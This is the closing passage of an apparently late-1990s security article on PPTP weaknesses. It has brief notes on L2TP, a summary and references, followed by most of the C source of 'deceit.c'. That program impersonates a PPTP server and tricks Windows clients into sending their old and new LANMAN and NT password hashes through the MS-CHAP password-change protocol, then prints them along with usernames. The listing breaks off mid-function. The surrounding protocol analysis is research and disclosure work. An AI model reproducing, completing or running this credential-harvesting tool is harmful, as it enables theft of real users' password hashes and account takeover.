L2TP is somewhat similar to PPTP. L2TP uses UDP instead of GRE to tunnel the PPP packets. Connection setup and control packets are carried within UDP. The protocol provides for the authentication of the control session via a shared secret and a challenge/response exchange. It also provides the for the hiding of sensitive information, such as username and password, by encrypting it.

Other than those simply security mechanism L2TP does not provide any security. To operate L2TP in a secure manner you must use it with either IPsec to provide authentication and confidentiality of all IP packets, or by using PPP layer security. If the former is chosen beware that the control packets can be spoofed after the authentication phase.

If Microsoft decides to go with the later choice (possible because Windows 98 will not have support for IPsec), they are well advised not to use MPPE and MS‑CHAP as this would make L2TP almost as vulnerable as PPTP. They would do better implementing ECP and some of the PPP Extensible Authentication Protocol (RFC 2284) options.

For a discussion of L2TP security read the Security Considerations section of the L2TP draft.

‑[ m i s c e l l a n e o u s ]‑

The are a few interesting projects related to PPTP.

‑> Linux PPTP Masquerading

< http://bmrc.berkeley.edu/people/chaffee/linux_pptp.html >

Here you will find patches to the Linux kernel to support masquerading of PPTP connections.

‑> PPTP Client for Linux

< http://www.pdos.lcs.mit.edu/~cananian/Projects/PPTP/ >

Here you will find a free PPTP client implementation for Linux that should be easy to port to other platforms.

‑[ s u m m a r y ]‑

PPTP is a layer two tunneling protocol designed by Microsoft and some other vendors. The protocol and in particular Microsoft's implementation have a number of vulnerabilities not completely fixed by the their latest software patches and draft revisions.

PPTP will most likely stop most amateurs but by no means provides air tight security. If you have some serious security needs we recommend you look at some other solution.

The Layer Two Tunneling Protocol being defined within the IETF evolved from PPTP and Cisco's Layer Two Forwarding. It has obviously benefited from the peer review it has had within the IETF as it looks like much better protocol than PPTP. If combined with IPsec, L2TP looks like a promising solution.

‑[ r e f e r e n c e s ]‑

Cryptanalysis of Microsoft's Point‑to‑Point Tunneling Protocol (PPTP) by B. Schneier and P. Mudge

< http://www.counterpane.com/pptp.html >

Generic Routing Encapsulation (GRE) (RFC 1701)

< ftp://ds.internic.net/rfc/rfc1701.txt >

Generic Routing Encapsulation over IPv4 networks (RFC 1702)

< ftp://ds.internic.net/rfc/rfc1702.txt >

Layer Two Tunneling Protocol "L2TP" (May 1996)

< http://www.ietf.org/internet‑drafts/draft‑ietf‑pppext‑l2tp‑11.txt >

Microsoft Point‑To‑Point Encryption (MPPE) Protocol (March 1998)

< http://www.apocalypse.org/pub/internet‑drafts/draft‑ietf‑pppext‑mppe‑00.txt >

Microsoft Point‑To‑Point Encryption (MPPE) Protocol (April 1998)

< http://www.ietf.org/internet‑drafts/draft‑ietf‑pppext‑mppe‑01.txt >

Microsoft PPP CHAP Extensions

< http://www.ietf.org/internet‑drafts/draft‑ietf‑pppext‑mschap‑00.txt >

Point‑to‑Point Tunneling Protocol

< http://www.microsoft.com/communications/pptp.htm >

Point‑to‑Point Tunneling Protocol (PPTP) Technical Specification (Feb, 22 1996) < http://hooah.com/workshop/prog/prog‑gen/pptp.htm >

Point‑to‑Point Tunneling Protocol‑‑PPTP (Draft July 1997)

< http://www.microsoft.com/communications/exes/draft‑ietf‑pppext‑pptp‑01.txt >

PPTP and Implementation of Microsoft Virtual Private Networking

< http://www.microsoft.com/communications/nrpptp.htm >

PPTP Performance Update for Windows NT 4.0 Release Notes

< http://support.microsoft.com/support/kb/articles/q167/0/40.asp >

PPTP Security ‑ An Update

< http://www.microsoft.com/communications/pptpfinal.htm >

RRAS Does Not Enforce String Encryption for DUN Clients

< http://support.microsoft.com/support/kb/articles/q177/6/70.asp >

STOP 0x0000000A in Raspptpe.sys on a Windows NT PPTP Server

< http://support.microsoft.com/support/kb/articles/q179/1/07.asp >

The Point‑to‑Point Protocol (PPP) (RFC 1661)

< ftp://ftp.isi.edu/in‑notes/rfc1661.txt >

The PPP DES Encryption Protocol (DESE) (RFC 1969)

< ftp://ftp.isi.edu/in‑notes/rfc1969.txt >

The PPP Encryption Control Protocol (ECP) (RFC 1968)

< ftp://ftp.isi.edu/in‑notes/rfc1968.txt >

The PPP Internetwork Packet Exchange Control Protocol (IPXCP) 9rFC 1552) < ftp://ftp.isi.edu/in‑notes/rfc1552.txt >

The PPP NetBIOS Frames Control Protocol (NBFCP) (RFC 2097)

< ftp://ftp.isi.edu/in‑notes/rfc2097.txt >

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑CUT‑HERE‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> PPTP/deceit.c

/*

* deceit.c by Aleph One

*

* This program implements enough of the PPTP protocol to steal the * password hashes of users that connect to it by asking them to change * their password via the MS‑CHAP password change protocol version 1. *

* The GRE code, PPTP structures and defines were shamelessly stolen from * C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client * implementation.

*

* This code has been tested to work againts Windows NT 4.0 with the * PPTP Performance Update. If the user has selected to use the same * username and password as the account they are currently logged in * but enter a different old password when the PPTP client password * change dialog box appears the client will send the hash for a null * string for both the old LANMAN hash and old NT hash.

*

* You must link this program against libdes. Email messages asking how * to do so will go to /dev/null.

*

* Define BROKEN_RAW_CONNECT if your system does not know how to handle * connect() on a raw socket. Normally if you use connect with a raw * socket you should only get from the socket IP packets with the * source address that you specified to connect(). Under HP‑UX using * connect makes read never to return. By not using connect we

* run the risk of confusing the GRE decapsulation process if we receive * GRE packets from more than one source at the same time.

*/

#include <stdio.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <signal.h>

#include <unistd.h>

#include "des.h"

#ifdef __hpux__

#define u_int8_t uint8_t

#define u_int16_t uint16_t

#define u_int32_t uint32_t

#endif

/* define these as appropiate for your architecture */

#define hton8(x) (x)

#define ntoh8(x) (x)

#define hton16(x) htons(x)

#define ntoh16(x) ntohs(x)

#define hton32(x) htonl(x)

#define ntoh32(x) ntohl(x)

#define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie for PPTP datagrams */

#define PPTP_PORT 1723 /* PPTP TCP port number */

#define PPTP_PROTO 47 /* PPTP IP protocol number */

#define PPTP_MESSAGE_CONTROL 1

#define PPTP_MESSAGE_MANAGE 2

#define PPTP_VERSION_STRING "1.00"

#define PPTP_VERSION 0x100

#define PPTP_FIRMWARE_STRING "0.01"

#define PPTP_FIRMWARE_VERSION 0x001

/* (Control Connection Management) */

#define PPTP_START_CTRL_CONN_RQST 1

#define PPTP_START_CTRL_CONN_RPLY 2

#define PPTP_STOP_CTRL_CONN_RQST 3

#define PPTP_STOP_CTRL_CONN_RPLY 4

#define PPTP_ECHO_RQST 5

#define PPTP_ECHO_RPLY 6

/* (Call Management) */

#define PPTP_OUT_CALL_RQST 7

#define PPTP_OUT_CALL_RPLY 8

#define PPTP_IN_CALL_RQST 9

#define PPTP_IN_CALL_RPLY 10

#define PPTP_IN_CALL_CONNECT 11

#define PPTP_CALL_CLEAR_RQST 12

#define PPTP_CALL_CLEAR_NTFY 13

/* (Error Reporting) */

#define PPTP_WAN_ERR_NTFY 14

/* (PPP Session Control) */

#define PPTP_SET_LINK_INFO 15

/* (Framing capabilities for msg sender) */

#define PPTP_FRAME_ASYNC 1

#define PPTP_FRAME_SYNC 2

#define PPTP_FRAME_ANY 3

/* (Bearer capabilities for msg sender) */

#define PPTP_BEARER_ANALOG 1

#define PPTP_BEARER_DIGITAL 2

#define PPTP_BEARER_ANY 3

struct pptp_header {

u_int16_t length; /* message length in octets, including header */

u_int16_t pptp_type; /* PPTP message type. 1 for control message. */

u_int32_t magic; /* this should be PPTP_MAGIC. */

u_int16_t ctrl_type; /* Control message type (0‑15) */

u_int16_t reserved0; /* reserved. MUST BE ZERO. */

};

struct pptp_start_ctrl_conn { /* for control message types 1 and 2 */

struct pptp_header header;

u_int16_t version; /* PPTP protocol version. = PPTP_VERSION */

u_int8_t result_code; /* these two fields should be zero on rqst msg*/

u_int8_t error_code; /* 0 unless result_code==2 (General Error) */

u_int32_t framing_cap; /* Framing capabilities */

u_int32_t bearer_cap; /* Bearer Capabilities */

u_int16_t max_channels; /* Maximum Channels (=0 for PNS, PAC ignores) */

u_int16_t firmware_rev; /* Firmware or Software Revision */

u_int8_t hostname[64]; /* Host Name (64 octets, zero terminated) */

u_int8_t vendor[64]; /* Vendor string (64 octets, zero term.) */

/* MS says that end of hostname/vendor fields should be filled with */

/* octets of value 0, but Win95 PPTP driver doesn't do this. */

};

struct pptp_out_call_rqst { /* for control message type 7 */

struct pptp_header header;

u_int16_t call_id; /* Call ID (unique id used to multiplex data) */

u_int16_t call_sernum; /* Call Serial Number (used for logging) */

u_int32_t bps_min; /* Minimum BPS (lowest acceptable line speed) */

u_int32_t bps_max; /* Maximum BPS (highest acceptable line speed) */

u_int32_t bearer; /* Bearer type */

u_int32_t framing; /* Framing type */

u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */

u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */

u_int16_t phone_len; /* Phone Number Length (num. of valid digits) */

u_int16_t reserved1; /* MUST BE ZERO */

u_int8_t phone_num[64]; /* Phone Number (64 octets, null term.) */

u_int8_t subaddress[64]; /* Subaddress (64 octets, null term.) */

};

struct pptp_out_call_rply { /* for control message type 8 */

struct pptp_header header;

u_int16_t call_id; /* Call ID (used to multiplex data over tunnel)*/

u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst)*/

u_int8_t result_code; /* Result Code (1 is no errors) */

u_int8_t error_code; /* Error Code (=0 unless result_code==2) */

u_int16_t cause_code; /* Cause Code (addt'l failure information) */

u_int32_t speed; /* Connect Speed (in BPS) */

u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */

u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */

u_int32_t channel; /* Physical Channel ID (for logging) */

};

struct pptp_set_link_info { /* for control message type 15 */

struct pptp_header header;

u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst) */

u_int16_t reserved1; /* MUST BE ZERO */

u_int32_t send_accm; /* Send ACCM (for PPP packets; default 0xFFFFFFFF)*/

u_int32_t recv_accm; /* Receive ACCM (for PPP pack.;default 0xFFFFFFFF)*/

};

#define PPTP_GRE_PROTO 0x880B

#define PPTP_GRE_VER 0x1

#define PPTP_GRE_FLAG_C 0x80

#define PPTP_GRE_FLAG_R 0x40

#define PPTP_GRE_FLAG_K 0x20

#define PPTP_GRE_FLAG_S 0x10

#define PPTP_GRE_FLAG_A 0x80

#define PPTP_GRE_IS_C(f) ((f)&PPTP_GRE_FLAG_C)

#define PPTP_GRE_IS_R(f) ((f)&PPTP_GRE_FLAG_R)

#define PPTP_GRE_IS_K(f) ((f)&PPTP_GRE_FLAG_K)

#define PPTP_GRE_IS_S(f) ((f)&PPTP_GRE_FLAG_S)

#define PPTP_GRE_IS_A(f) ((f)&PPTP_GRE_FLAG_A)

struct pptp_gre_header {

u_int8_t flags; /* bitfield */

u_int8_t ver; /* should be PPTP_GRE_VER (enhanced GRE) */

u_int16_t protocol; /* should be PPTP_GRE_PROTO (ppp‑encaps) */

u_int16_t payload_len; /* size of ppp payload, not inc. gre header */

u_int16_t call_id; /* peer's call_id for this session */

u_int32_t seq; /* sequence number. Present if S==1 */

u_int32_t ack; /* seq number of highest packet recieved by */

/* sender in this session */

};

#define PACKET_MAX 8196

static u_int32_t ack_sent, ack_recv;

static u_int32_t seq_sent, seq_recv;

static u_int16_t pptp_gre_call_id;

#define PPP_ADDRESS0xFF

#define PPP_CONTROL0x03

/* PPP Protocols */

#define PPP_PROTO_LCP0xc021

#define PPP_PROTO_CHAP0xc223

/* LCP Codes */

#define PPP_LCP_CODE_CONF_RQST1

#define PPP_LCP_CODE_CONF_ACK2

#define PPP_LCP_CODE_IDENT12

/* LCP Config Options */

#define PPP_LCP_CONFIG_OPT_AUTH 3

#define PPP_LCP_CONFIG_OPT_MAGIC5

#define PPP_LCP_CONFIG_OPT_PFC7

#define PPP_LCP_CONFIG_OPT_ACFC8

/* Auth Algorithms */

#define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP0x80

/* CHAP Codes */

#define PPP_CHAP_CODE_CHALLENGE1

#define PPP_CHAP_CODE_RESPONCE2

#define PPP_CHAP_CODE_SUCESS3

#define PPP_CHAP_CODE_FAILURE4

#define PPP_CHAP_CODE_MSCHAP_PASSWORD_V15

#define PPP_CHAP_CODE_MSCHAP_PASSWORD_V26

#define PPP_CHAP_CHALLENGE_SIZE8

#define PPP_CHAP_RESPONCE_SIZE 49

#define MSCHAP_ERROR "E=648 R=0"

struct ppp_header {

u_int8_t address;

u_int8_t control;

u_int16_t proto;

};

struct ppp_lcp_chap_header {

u_int8_t code;

u_int8_t ident;

u_int16_t length;

};

struct ppp_lcp_packet {

struct ppp_header ppp;

struct ppp_lcp_chap_header lcp;

};

struct ppp_lcp_chap_auth_option {

u_int8_t type;

u_int8_t length;

u_int16_t auth_proto;

u_int8_t algorithm;

};

struct ppp_lcp_magic_option {

u_int8_t type;

u_int8_t length;

u_int32_t magic;

};

struct ppp_lcp_pfc_option {

u_int8_t type;

u_int8_t length;

};

struct ppp_lcp_acfc_option {

u_int8_t type;

u_int8_t length;

};

struct ppp_chap_challenge {

u_int8_t size;

union {

unsigned char challenge[8];

struct {

unsigned char lanman[24];

unsigned char nt[24];

u_int8_t flag;

} responce;

} value;

/* name */

};

struct ppp_mschap_change_password {

char old_lanman[16];

char new_lanman[16];

char old_nt[16];

char new_nt[16];

u_int16_t pass_length;

u_int16_t flags;

};

#define ppp_chap_responceppp_chap_challenge

void net_init();

void getjiggywithit();

void handleit(struct sockaddr_in *);

void send_start_ctrl_conn_rply();

void send_out_call_rply(struct pptp_out_call_rqst *, struct sockaddr_in *); int decaps_gre (int (*cb)(void *pack, unsigned len));

int encaps_gre (void *pack, unsigned len);

int do_ppp(void *pack, unsigned len);

void do_gre(struct sockaddr_in *);

void send_lcp_conf_rply(void *);

void send_lcp_conf_rqst();

void send_chap_challenge();

void send_chap_failure();

void print_challenge_responce(void *);

void paydirt(void *);

char *n;

int sd, rsd, pid;

void main(int argc, char **argv)

{

n = argv[0];

net_init();

getjiggywithit();

}

void net_init()

{

int yes = 1;

struct sockaddr_in sa;

if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror(n); exit(1); } if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) != 0) {

perror(n);

exit(1);

}

bzero((char *) &sa, sizeof(sa));

sa.sin_family = AF_INET;

sa.sin_port = htons(PPTP_PORT);

sa.sin_addr.s_addr = htonl(INADDR_ANY);

if (bind(sd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror(n); exit(1); }

if (listen(sd, 5) < 0) { perror(n); exit(1); }

}

void getjiggywithit()

{

struct sockaddr_in sa;

int sucker, size;

size = sizeof(sa);

if ((sucker = accept(sd, (struct sockaddr *)&sa, &size)) == ‑1) {

perror(n);

exit(1);

}

close(sd);

sd = sucker;

handleit(&sa);

exit(0);

}

void handleit(struct sockaddr_in *sa)

{

union {

struct pptp_header h;

unsigned char buffer[8196];

} p;

int hlen, len, type;

hlen = sizeof(struct pptp_header);

for(;;)

{

len = read(sd, p.buffer, hlen);

if (len == ‑1) { perror(n); exit(1); }

if (len != hlen) { printf("Short read.\n"); exit(1); }

len = read(sd, p.buffer + hlen, ntoh16(p.h.length) ‑ hlen); if (len == ‑1) { perror(n); exit(1); }

if (len != (ntoh16(p.h.length) ‑ hlen)) {printf("Short read.\n"); exit(1);}

if (ntoh32(p.h.magic) != 0x1A2B3C4D) { printf("Bad magic.\n"); exit(1); } if (ntoh16(p.h.pptp_type) != 1) {printf("Not a control message.\n");exit(1);}

type = ntoh16(p.h.ctrl_type);

switch(type)

{

/* we got a live one */

case PPTP_START_CTRL_CONN_RQST: send_start_ctrl_conn_rply();

break;

case PPTP_OUT_CALL_RQST:

send_out_call_rply((struct pptp_out_call_rqst *)&p, sa); break;

case PPTP_SET_LINK_INFO:

printf("<‑ PPTP Set Link Info\n");

break;

default:

printf("<‑ PPTP unknown packet: %d\n", type);

}

}

}

void send_start_ctrl_conn_rply()

{

struct pptp_start_ctrl_conn p;

int len, hlen;

hlen = sizeof(struct pptp_start_ctrl_conn);

printf("<‑ PPTP Start Control Connection Request\n"); printf("‑> PPTP Start Control Connection Reply\n");

bzero((char *)&p, hlen);

p.header.length = hton16(hlen);

p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL); p.header.magic = hton32(PPTP_MAGIC);

p.header.ctrl_type = hton16(PPTP_START_CTRL_CONN_RPLY); p.version = hton16(PPTP_VERSION);

p.result_code = 1;

p.framing_cap = hton32(PPTP_FRAME_ASYNC); /* whatever */

p.bearer_cap = hton32(PPTP_BEARER_ANALOG); /* ditto */

bcopy("owned", p.hostname, 5);

bcopy("r00t", p.vendor, 4);

len = write(sd, &p, hlen);

if (len == ‑1) { perror(n); exit(1); }

if (len != hlen) { printf("Short write.\n"); exit(1); }

}

static gre = 0;

void send_out_call_rply(struct pptp_out_call_rqst *r, struct sockaddr_in *sa) {

struct pptp_out_call_rply p;

int len, hlen;

hlen = sizeof(struct pptp_out_call_rply);

printf("<‑ PPTP Outgoing Call Request\n");

printf("‑> PPTP Outgoing Call Reply\n");

pptp_gre_call_id = r‑>call_id;

/* Start a process to handle the GRE/PPP packets */

if (!gre)

{

gre = 1;

switch((pid = fork()))

{

case ‑1:

perror(n);

exit(1);

case 0:

close(sd);

do_gre(sa);

exit(1); /* not reached */

}

}

bzero((char *)&p, hlen);

p.header.length = hton16(hlen);

p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL); p.header.magic = hton32(PPTP_MAGIC);

p.header.ctrl_type = hton16(PPTP_OUT_CALL_RPLY);

p.call_id = hton16(31337);

p.call_id_peer = r‑>call_id;

p.result_code = 1;

p.speed = hton32(28800);

p.recv_size = hton16(5); /* whatever */

p.delay = hton16(50); /* whatever */

p.channel = hton32(31337);

len = write(sd, &p, hlen);

if (len == ‑1) { perror(n); exit(1); }

if (len != hlen) { printf("Short write.\n"); exit(1); }

}

struct sockaddr_in src_addr;

void do_gre(struct sockaddr_in *sa)

{

#ifndef BROKEN_RAW_CONNECT

struct sockaddr_in src_addr;

#endif

int s, n, stat;

/* Open IP protocol socket */

rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);

if (rsd<0) { perror("gre"); exit(1); }

src_addr.sin_family = AF_INET;

src_addr.sin_addr = sa‑>sin_addr;

src_addr.sin_port = 0;

#ifndef BROKEN_RAW_CONNECT

if (connect(rsd, (struct sockaddr *) &src_addr, sizeof(src_addr))<0) { perror("gre"); exit(1);

}

#endif

ack_sent = ack_recv = seq_sent = seq_recv = 0;

stat=0;

/* Dispatch loop */

while (stat>=0) { /* until error happens on s */

struct timeval tv = {0, 0}; /* non‑blocking select */

fd_set rfds;

int retval;

n = rsd + 1;

FD_ZERO(&rfds);

FD_SET(rsd, &rfds);

/* if there is a pending ACK, do non‑blocking select */

if (ack_sent!=seq_recv)

retval = select(n, &rfds, NULL, NULL, &tv);

else /* otherwise, block until data is available */

retval = select(n, &rfds, NULL, NULL, NULL);

if (retval==0 && ack_sent!=seq_recv) /* if outstanding ack */

encaps_gre(NULL, 0); /* send ack with no payload */

if (FD_ISSET(rsd, &rfds)) /* data waiting on socket */

stat=decaps_gre(do_ppp);

}

/* Close up when done. */

close(rsd);

}

int decaps_gre (int (*cb)(void *pack, unsigned len)) {

unsigned char buffer[PACKET_MAX+64/*ip header*/];

struct pptp_gre_header *header;

int status, ip_len=0;

if((status=read(rsd, buffer, sizeof(buffer)))<0) {perror("gre"); exit(1); }

/* strip off IP header, if present */

if ((buffer[0]&0xF0)==0x40)

ip_len = (buffer[0]&0xF)*4;

header = (struct pptp_gre_header *)(buffer+ip_len);

/* verify packet (else discard) */

if (((ntoh8(header‑>ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1 */

(ntoh16(header‑>protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */

PPTP_GRE_IS_C(ntoh8(header‑>flags)) || /* flag C should be clear */

PPTP_GRE_IS_R(ntoh8(header‑>flags)) || /* flag R should be clear */

(!PPTP_GRE_IS_K(ntoh8(header‑>flags))) || /* flag K should be set */

((ntoh8(header‑>flags)&0xF)!=0)) { /* routing and recursion ctrl = 0 */

/* if invalid, discard this packet */

printf("Discarding GRE: %X %X %X %X %X %X", ntoh8(header‑>ver)&0x7F, ntoh16(header‑>protocol), PPTP_GRE_IS_C(ntoh8(header‑>flags)), PPTP_GRE_IS_R(ntoh8(header‑>flags)), PPTP_GRE_IS_K(ntoh8(header‑>flags)), ntoh8(header‑>flags)&0xF);

return 0;

}

if (PPTP_GRE_IS_A(ntoh8(header‑>ver))) { /* acknowledgement present */

u_int32_t ack = (PPTP_GRE_IS_S(ntoh8(header‑>flags)))? header‑>ack:header‑>seq; /* ack in different place if S=0 */

if (ack > ack_recv) ack_recv = ack;

/* also handle sequence number wrap‑around (we're cool!) */

if (((ack>>31)==0)&&((ack_recv>>31)==1)) ack_recv=ack;

}

if (PPTP_GRE_IS_S(ntoh8(header‑>flags))) { /* payload present */

unsigned headersize = sizeof(*header);

unsigned payload_len= ntoh16(header‑>payload_len); u_int32_t seq = ntoh32(header‑>seq);

if (!PPTP_GRE_IS_A(ntoh8(header‑>ver))) headersize‑=sizeof(header‑>ack); /* check for incomplete packet (length smaller than expected) */

if (status‑headersize<payload_len) {

printf("incomplete packet\n");

return 0;

}

/* check for out‑of‑order sequence number */

/* (handle sequence number wrap‑around, cuz we're cool) */

if ((seq > seq_recv) ||

(((seq>>31)==0) && (seq_recv>>31)==1)) {

seq_recv = seq;

return cb(buffer+ip_len+headersize, payload_len);

} else {

printf("discarding out‑of‑order\n");

return 0; /* discard out‑of‑order packets */

}

}

return 0; /* ack, but no payload */

}

int encaps_gre (void *pack, unsigned len) {

union {

struct pptp_gre_header header;

unsigned char buffer[PACKET_MAX+sizeof(struct pptp_gre_header)]; } u;

static u_int32_t seq=0;

unsigned header_len;

int out;

/* package this up in a GRE shell. */

u.header.flags = hton8 (PPTP_GRE_FLAG_K);

u.header.ver = hton8 (PPTP_GRE_VER); u.header.protocol = hton16(PPTP_GRE_PROTO); u.header.payload_len = hton16(len);

u.header.call_id = hton16(pptp_gre_call_id);

/* special case ACK with no payload */

if (pack==NULL)

if (ack_sent != seq_recv) {

u.header.ver |= hton8(PPTP_GRE_FLAG_A); u.header.payload_len = hton16(0);

u.header.seq = hton32(seq_recv); /* ack is in odd place because S=0 */

ack_sent = seq_recv;

#ifndef BROKEN_RAW_CONNCET

return write(rsd, &u.header, sizeof(u.header)‑sizeof(u.header.seq)); #else

return sendto(rsd, &u.header, sizeof(u.header)‑sizeof(u.header.seq), 0, (struct sockaddr *) &src_addr, sizeof(src_addr)); #endif

} else return 0; /* we don't need to send ACK */

/* send packet with payload */

u.header.flags |= hton8(PPTP_GRE_FLAG_S);

u.header.seq = hton32(seq);

if (ack_sent != seq_recv) { /* send ack with this message */

u.header.ver |= hton8(PPTP_GRE_FLAG_A);

u.header.ack = hton32(seq_recv);

ack_sent = seq_recv;

header_len = sizeof(u.header);

} else { /* don't send ack */

header_len = sizeof(u.header) ‑ sizeof(u.header.ack);

}

if (header_len+len>=sizeof(u.buffer)) return 0; /* drop this, it's too big */

/* copy payload into buffer */

memcpy(u.buffer+header_len, pack, len);

/* record and increment sequence numbers */

seq_sent = seq; seq++;

/* write this baby out to the net */

#ifndef BROKEN_RAW_CONNECT

return write(rsd, u.buffer, header_len+len);

#else

return sendto(rsd, &u.buffer, header_len+len, 0,

(struct sockaddr *) &src_addr, sizeof(src_addr));

#endif

}

int do_ppp(void *pack, unsigned len)

{

struct {

struct ppp_header ppp;

struct ppp_lcp_chap_header header;

} *p;

p = pack;

switch(ntoh16(p‑>ppp.proto))

{

case PPP_PROTO_LCP:

switch(ntoh8(p‑>header.code))

{

case PPP_LCP_CODE_CONF_RQST:

printf("<‑ LCP Configure Request\n"); send_lcp_conf_rply(pack); send_lcp_conf_rqst();

break;

case PPP_LCP_CODE_CONF_ACK:

printf("<‑ LCP Configure Ack\n"); send_chap_challenge(pack);

break;

case PPP_LCP_CODE_IDENT:

/* ignore */

break;

default:

printf("<‑ LCP unknown packet: C=%X I=%X L=%X\n", p‑>header.code, p‑>header.ident, ntoh16(p‑>header.length));

}

break;

case PPP_PROTO_CHAP:

switch(ntoh8(p‑>header.code))

{

case PPP_CHAP_CODE_RESPONCE:

printf("<‑ CHAP Responce\n"); print_challenge_responce(pack); send_chap_failure();

break;

case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1: paydirt(pack);

break;

default:

printf("<‑ CHAP unknown packet: C=%X I=%X L=%X\n", p‑>header.code, p‑>header.ident, ntoh16(p‑>header.length));

}

break;

default:

printf("<‑ PPP unknwon packet: %X\n", ntoh16(p‑>ppp.proto)); }

return(1);

}

void send_lcp_conf_rply(void *pack)

{

struct {

struct ppp_header ppp;

struct ppp_lcp_chap_header lcp;

} *p = pack;

printf("‑> LCP Configure Ack\n");

p‑>lcp.code = hton8(PPP_LCP_CODE_CONF_ACK);

encaps_gre(p, ntoh16(p‑>lcp.length) + sizeof(struct ppp_header)); }

void send_lcp_conf_rqst()

{

struct {

struct ppp_header ppp;

struct ppp_lcp_chap_header lcp;

struct ppp_lcp_chap_auth_option auth;

} pkt;

printf("‑> LCP Configure Request\n");

bzero(&pkt, sizeof(pkt));

pkt.ppp.address = hton8(PPP_ADDRESS);

pkt.ppp.control = hton8(PPP_CONTROL);

pkt.ppp.proto = hton16(PPP_PROTO_LCP);

pkt.lcp.code = hton8(PPP_LCP_CODE_CONF_RQST); pkt.lcp.ident = hton8(9);

pkt.lcp.length = hton16(4 +5);

pkt.auth.type = hton8(PPP_LCP_CONFIG_OPT_AUTH); pkt.auth.length = hton8(5);

pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP); pkt.auth.algorithm = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);

encaps_gre(&pkt, 13);

}

void send_chap_challenge()

{

struct {

struct ppp_header ppp;

struct ppp_lcp_chap_header chap;

struct ppp_chap_challenge challenge;

} pkt;

printf("‑> CHAP Challenge\n");

bzero(&pkt, sizeof(pkt));

pkt.ppp.address = hton8(PPP_ADDRESS);

pkt.ppp.control = hton8(PPP_CONTROL);

pkt.ppp.proto = hton16(PPP_PROTO_CHAP);

pkt.chap.code = hton8(PPP_CHAP_CODE_CHALLENGE); pkt.chap.length = hton16(13);

pkt.challenge.size = hton8(8);

encaps_gre(&pkt, 4 + 13);

}

void print_challenge_responce(void *pack)

{

unsigned char name[512], *c;

int len;

struct {

struct ppp_header ppp;

struct ppp_lcp_chap_header chap;

struct ppp_chap_challenge responce;

} *p;

p = pack;

c = p‑>responce.value.responce.lanman;

printf(" LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10], c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21], c[22], c[23]);

c = p‑>responce.value.responce.nt;

printf(" NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10], c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21], c[22], c[23]);

printf(" Use NT hash: %d\n", p‑>responce.value.responce.flag);

bzero(name, 512);

len = ntoh16(p‑>chap.length) ‑ 54;

bcopy(((char *)p) + 4 + 54, name, len);

name[len] = '\0';

printf(" User: %s\n", name);

}

void send_chap_failure()

{

struct {

struct ppp_header ppp;

struct ppp_lcp_chap_header chap;

char message[64];

} pkt;

printf("‑> CHAP Failure\n");

bzero(&pkt, sizeof(pkt));

pkt.ppp.address = hton8(PPP_ADDRESS);

pkt.ppp.control = hton8(PPP_CONTROL);

pkt.ppp.proto = hton16(PPP_PROTO_CHAP);

pkt.chap.code = hton8(PPP_CHAP_CODE_FAILURE); pkt.chap.length = hton16(4 + strlen(MSCHAP_ERROR)); strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR));

encaps_gre(&pkt, 4 + 4 + strlen(MSCHAP_ERROR));

}

extern int des_check_key;

void paydirt(void *pack)

{

unsigned char out[8], out2[8], key[8];

struct {

struct ppp_header ppp;

struct ppp_lcp_chap_header chap;

struct ppp_mschap_change_password passwds;

} *pkt;

des_key_schedule ks;

pkt = pack;

bzero(key, 8);

printf("<‑ MSCHAP Change Password Version 1 Packet.\n");

/* Turn off checking for weak keys within libdes */

des_check_key=0;

des_set_odd_parity((des_cblock *)key);

des_set_key((des_cblock *)key, ks);

des_ecb_encrypt((des_cblock *)pkt‑>passwds.old_lanman,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt‑>passwds.old_lanman + 8), (des_cblock *)out2, ks, 0); printf(" Old LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);

